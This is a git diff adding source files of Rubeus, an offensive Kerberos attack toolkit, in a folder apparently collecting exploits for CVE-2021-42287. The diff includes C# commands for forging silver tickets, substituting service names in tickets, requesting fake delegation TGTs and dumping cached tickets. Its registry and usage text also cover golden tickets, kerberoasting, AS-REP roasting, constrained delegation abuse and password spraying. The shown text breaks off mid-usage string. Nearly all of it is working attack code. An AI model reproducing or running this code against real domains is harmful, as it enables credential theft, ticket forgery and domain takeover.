(arguments.ContainsKey("/user")) + { + // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request + + user = arguments["/user"]; + + if (String.IsNullOrEmpty(hash)) + { + Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); + return; + } + + S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac); + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n"); + Console.WriteLine("[X] Alternatively, supply a /user and hash to first retrieve a TGT.\r\n"); + return; + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Silver.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Silver.cs new file mode 100644 index 0000000..9dff293 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Silver.cs @@ -0,0 +1,515 @@ +using System; +using System.Collections.Generic; +using System.Globalization; + +namespace Rubeus.Commands +{ + public class Silver : ICommand + { + public static string CommandName => "silver"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Build TGS\r\n"); + + string user = ""; + string service = ""; + int? id = null; + string sids = ""; + string groups = ""; + string displayName = ""; + short? logonCount = null; + short? badPwdCount = null; + DateTime? lastLogon = null; + DateTime? logoffTime = null; + DateTime? pwdLastSet = null; + int? maxPassAge = null; + int? minPassAge = null; + int? pGid = null; + string homeDir = ""; + string homeDrive = ""; + string profilePath = ""; + string scriptPath = ""; + string resourceGroupSid = ""; + List resourceGroups = null; + Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT; + + string domain = ""; + string dc = ""; + string sid = ""; + string netbios = ""; + + bool ldap = false; + string ldapuser = null; + string ldappassword = null; + + string hash = ""; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + byte[] krbKey = null; + Interop.KERB_CHECKSUM_ALGORITHM krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + + Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent; + + DateTime startTime = DateTime.UtcNow; + DateTime authTime = startTime; + DateTime? rangeEnd = null; + string rangeInterval = "1d"; + string endTime = ""; + string renewTill = ""; + + string outfile = ""; + bool ptt = false; + bool printcmd = false; + + string cName = null; + string cRealm = null; + string s4uProxyTarget = null; + string s4uTransitedServices = null; + bool includeAuthData = false; + + // user information mostly for the PAC + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/sids")) + { + sids = arguments["/sids"]; + } + if (arguments.ContainsKey("/groups")) + { + groups = arguments["/groups"]; + } + if (arguments.ContainsKey("/id")) + { + id = Int32.Parse(arguments["/id"]); + } + if (arguments.ContainsKey("/pgid")) + { + pGid = Int32.Parse(arguments["/pgid"]); + } + if (arguments.ContainsKey("/displayname")) + { + displayName = arguments["/displayname"]; + } + if (arguments.ContainsKey("/logoncount")) + { + logonCount = short.Parse(arguments["/logoncount"]); + } + if (arguments.ContainsKey("/badpwdcount")) + { + badPwdCount = short.Parse(arguments["/badpwdcount"]); + } + if (arguments.ContainsKey("/lastlogon")) + { + lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/logofftime")) + { + logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/pwdlastset")) + { + pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/maxpassage")) + { + maxPassAge = Int32.Parse(arguments["/maxpassage"]); + } + if (arguments.ContainsKey("/minpassage")) + { + minPassAge = Int32.Parse(arguments["/minpassage"]); + } + if (arguments.ContainsKey("/homedir")) + { + homeDir = arguments["/homedir"]; + } + if (arguments.ContainsKey("/homedrive")) + { + homeDrive = arguments["/homedrive"]; + } + if (arguments.ContainsKey("/profilepath")) + { + profilePath = arguments["/profilepath"]; + } + if (arguments.ContainsKey("/scriptpath")) + { + scriptPath = arguments["/scriptpath"]; + } + if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups")) + { + resourceGroupSid = arguments["/resourcegroupsid"]; + resourceGroups = new List(); + foreach (string rgroup in arguments["/resourcegroups"].Split(',')) + { + try + { + resourceGroups.Add(Int32.Parse(rgroup)); + } + catch + { + Console.WriteLine("[!] Resource group value invalid: {0}", rgroup); + } + } + } + if (arguments.ContainsKey("/uac")) + { + Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY; + + foreach (string u in arguments["/uac"].Split(',')) + { + Interop.PacUserAccountControl result; + bool status = Interop.PacUserAccountControl.TryParse(u, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u); + } + } + if (tmp != Interop.PacUserAccountControl.EMPTY) + { + uac = tmp; + } + } + + // domain and DC information + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/sid")) + { + sid = arguments["/sid"]; + } + if (arguments.ContainsKey("/netbios")) + { + netbios = arguments["/netbios"]; + } + + // getting the user information from LDAP + if (arguments.ContainsKey("/ldap")) + { + ldap = true; + if (arguments.ContainsKey("/creduser")) + { + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + ldapuser = arguments["/creduser"]; + ldappassword = arguments["/credpassword"]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + } + + // service name + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + else + { + Console.WriteLine("[X] SPN '/service:sname/server.domain.com' is required"); + return; + } + + // encryption types + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + if (arguments.ContainsKey("/krbkey")) + { + krbKey = Helpers.StringToByteArray(arguments["/krbkey"]); + } + + if (arguments.ContainsKey("/krbenctype")) + { + if (krbKey == null) + { + Console.WriteLine("[!] '/krbkey' not specified ignoring the '/krbenctype' argument"); + } + else + { + string krbEncTypeString = arguments["/krbenctype"].ToUpper(); + + if (krbEncTypeString.Equals("RC4") || krbEncTypeString.Equals("NTLM") || krbEncTypeString.Equals("DES")) + { + krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + } + else if (krbEncTypeString.Equals("AES128")) + { + krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128; + } + else if (krbEncTypeString.Equals("AES256") || krbEncTypeString.Equals("AES")) + { + krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + } + } + } + + // flags + if (arguments.ContainsKey("/flags")) + { + Interop.TicketFlags tmp = Interop.TicketFlags.empty; + + foreach (string flag in arguments["/flags"].Split(',')) + { + Interop.TicketFlags result; + bool status = Interop.TicketFlags.TryParse(flag, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag); + } + } + if (tmp != Interop.TicketFlags.empty) + { + flags = tmp; + } + } + + // ticket times + if (arguments.ContainsKey("/starttime")) + { + try + { + startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message); + return; + } + } + if (arguments.ContainsKey("/authtime")) + { + try + { + authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message); + authTime = startTime; + } + } + else if (arguments.ContainsKey("/starttime")) + { + authTime = startTime; + } + if (arguments.ContainsKey("/rangeend")) + { + rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]); + if (rangeEnd == null) + { + Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]); + rangeEnd = startTime; + } + } + if (arguments.ContainsKey("/rangeinterval")) + { + rangeInterval = arguments["/rangeinterval"]; + } + if (arguments.ContainsKey("/endtime")) + { + endTime = arguments["/endtime"]; + } + if (arguments.ContainsKey("/renewtill")) + { + renewTill = arguments["/renewtill"]; + } + + // actions for the ticket(s) + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + // print a command that could be used to recreate the ticket + // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again + if (arguments.ContainsKey("/printcmd")) + { + printcmd = true; + } + + // unusual service ticket options + if (arguments.ContainsKey("/cname")) + { + cName = arguments["/cname"]; + } + if (arguments.ContainsKey("/crealm")) + { + cRealm = arguments["/crealm"]; + } + if (arguments.ContainsKey("/s4uproxytarget")) + { + s4uProxyTarget = arguments["/s4uproxytarget"]; + } + if (arguments.ContainsKey("/s4utransitedservices")) + { + s4uTransitedServices = arguments["/s4utransitedservices"]; + } + if (arguments.ContainsKey("/authdata")) + { + includeAuthData = true; + } + + // checks + if (String.IsNullOrEmpty(user)) + { + Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); + return; + } + if (String.IsNullOrEmpty(hash)) + { + Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n"); + return; + } + if (!String.IsNullOrEmpty(s4uProxyTarget) || !String.IsNullOrEmpty(s4uTransitedServices)) + { + if (String.IsNullOrEmpty(s4uProxyTarget) || String.IsNullOrEmpty(s4uTransitedServices)) + { + Console.WriteLine("[X] Need to supply both '/s4uproxytarget' and '/s4utransitedservices'.\r\n"); + return; + } + } + + if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) + { + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); + return; + } + else + { + ForgeTickets.ForgeTicket( + user, + service, + Helpers.StringToByteArray(hash), + encType, + krbKey, + krbEncType, + ldap, + ldapuser, + ldappassword, + sid, + domain, + netbios, + dc, + flags, + startTime, + rangeEnd, + rangeInterval, + authTime, + endTime, + renewTill, + id, + groups, + sids, + displayName, + logonCount, + badPwdCount, + lastLogon, + logoffTime, + pwdLastSet, + maxPassAge, + minPassAge, + pGid, + homeDir, + homeDrive, + profilePath, + scriptPath, + resourceGroupSid, + resourceGroups, + uac, + false, + outfile, + ptt, + printcmd, + cName, + cRealm, + s4uProxyTarget, + s4uTransitedServices, + includeAuthData + ); + return; + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Tgssub.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Tgssub.cs new file mode 100644 index 0000000..4fb350e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Tgssub.cs @@ -0,0 +1,78 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Tgssub : ICommand + { + public static string CommandName => "tgssub"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Service Ticket sname Substitution\r\n"); + + string altservice = ""; + LUID luid = new LUID(); + bool ptt = false; + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/altservice")) + { + altservice = arguments["/altservice"]; + } + else + { + Console.WriteLine("\r\n[X] An /altservice:SNAME or /altservice:SNAME/host needs to be supplied!\r\n"); + return; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Tgtdeleg.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Tgtdeleg.cs new file mode 100644 index 0000000..d3d2209 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Tgtdeleg.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Tgtdeleg : ICommand + { + public static string CommandName => "tgtdeleg"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n"); + + if (arguments.ContainsKey("/target")) + { + byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]); + } + else + { + byte[] blah = LSA.RequestFakeDelegTicket(); + } + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Triage.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Triage.cs new file mode 100644 index 0000000..8d7c297 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Triage.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Triage : ICommand + { + public static string CommandName => "triage"; + + public void Execute(Dictionary arguments) + { + if (Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\nAction: Triage Kerberos Tickets (All Users)\r\n"); + } + else + { + Console.WriteLine("\r\nAction: Triage Kerberos Tickets (Current User)\r\n"); + } + + LUID targetLuid = new LUID(); + string targetUser = ""; + string targetService = ""; + string targetServer = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + targetLuid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/user")) + { + targetUser = arguments["/user"]; + } + + if (arguments.ContainsKey("/service")) + { + targetService = arguments["/service"]; + } + + if (arguments.ContainsKey("/server")) + { + targetServer = arguments["/server"]; + } + + // extract out the tickets (w/ full data) with the specified targeting options + List sessionCreds = LSA.EnumerateTickets(false, targetLuid, targetService, targetUser, targetServer, true); + // display tickets with the "Full" format + LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Triage); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/ArgumentParser.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/ArgumentParser.cs new file mode 100644 index 0000000..08638ee --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/ArgumentParser.cs @@ -0,0 +1,43 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace Rubeus.Domain +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + try + { + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + idx = argument.IndexOf('='); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + arguments[argument] = string.Empty; + } + } + } + + return ArgumentParserResult.Success(arguments); + } + catch (System.Exception ex) + { + Debug.WriteLine(ex.Message); + return ArgumentParserResult.Failure(); + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/ArgumentParserResult.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/ArgumentParserResult.cs new file mode 100644 index 0000000..906faa0 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace Rubeus.Domain +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, null); + + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/CommandCollection.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/CommandCollection.cs new file mode 100644 index 0000000..c25ba4d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/CommandCollection.cs @@ -0,0 +1,67 @@ +using System; +using System.Collections.Generic; +using Rubeus.Commands; + +namespace Rubeus.Domain +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(Asktgs.CommandName, () => new Asktgs()); + _availableCommands.Add(Asktgt.CommandName, () => new Asktgt()); + _availableCommands.Add(Asreproast.CommandName, () => new Asreproast()); + _availableCommands.Add(Changepw.CommandName, () => new Changepw()); + _availableCommands.Add(Createnetonly.CommandName, () => new Createnetonly()); + _availableCommands.Add(Currentluid.CommandName, () => new Currentluid()); + _availableCommands.Add(Describe.CommandName, () => new Describe()); + _availableCommands.Add(Dump.CommandName, () => new Dump()); + _availableCommands.Add(Hash.CommandName, () => new Hash()); + _availableCommands.Add(HarvestCommand.CommandName, () => new HarvestCommand()); + _availableCommands.Add(Kerberoast.CommandName, () => new Kerberoast()); + _availableCommands.Add(Klist.CommandName, () => new Klist()); + _availableCommands.Add(Monitor.CommandName, () => new Monitor()); + _availableCommands.Add(Ptt.CommandName, () => new Ptt()); + _availableCommands.Add(Purge.CommandName, () => new Purge()); + _availableCommands.Add(RenewCommand.CommandName, () => new RenewCommand()); + _availableCommands.Add(S4u.CommandName, () => new S4u()); + _availableCommands.Add(Tgssub.CommandName, () => new Tgssub()); + _availableCommands.Add(Tgtdeleg.CommandName, () => new Tgtdeleg()); + _availableCommands.Add(Triage.CommandName, () => new Triage()); + _availableCommands.Add(Brute.CommandName, () => new Brute()); + // alias 'spray' to 'brute' + _availableCommands.Add("spray", () => new Brute()); + _availableCommands.Add(Silver.CommandName, () => new Silver()); + _availableCommands.Add(Golden.CommandName, () => new Golden()); + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound= false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/Info.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/Info.cs new file mode 100644 index 0000000..c8b6b94 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Domain/Info.cs @@ -0,0 +1,203 @@ +using System; + +namespace Rubeus.Domain +{ + public static class Info + { + public static void ShowLogo() + { + Console.WriteLine("\r\n ______ _ "); + Console.WriteLine(" (_____ \\ | | "); + Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ "); + Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)"); + Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |"); + Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n"); + Console.WriteLine(" v2.0.1 \r\n"); + } + + public static void ShowUsage() + { + string usage = @" + Ticket requests and renewals: + + Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID: + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] + + Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] + + Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/nopac] + + Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] + + Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket: + Rubeus.exe asktgs [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] + + Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit: + Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] + + Perform a Kerberos-based password bruteforcing attack: + Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + + + Constrained delegation abuse: + + Perform S4U constrained delegation abuse: + Rubeus.exe s4u /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] + Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] + + Perform S4U constrained delegation abuse across domains: + Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] + + + Ticket Forgery: + + Forge a golden ticket using LDAP to gather the relevent information: + Rubeus.exe golden /ldap [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values: + Rubeus.exe golden /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket, setting values explicitly: + Rubeus.exe golden [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information: + Rubeus.exe silver /ldap [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum: + Rubeus.exe silver /ldap [/krbenctype:DES|RC4|AES128|AES256] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values: + Rubeus.exe silver /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] 